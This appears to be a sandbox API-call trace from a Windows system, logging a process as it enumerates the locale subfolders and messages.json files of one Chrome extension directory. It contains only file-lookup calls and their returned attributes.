	[0066.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.370] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5)) returned 1
	[0066.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.371] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.372] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.372] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.372] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.372] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda)) returned 1
	[0066.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.373] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4)) returned 1
	[0066.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.374] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.374] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1
	[0066.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.375] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.375] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.375] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.375] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.375] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
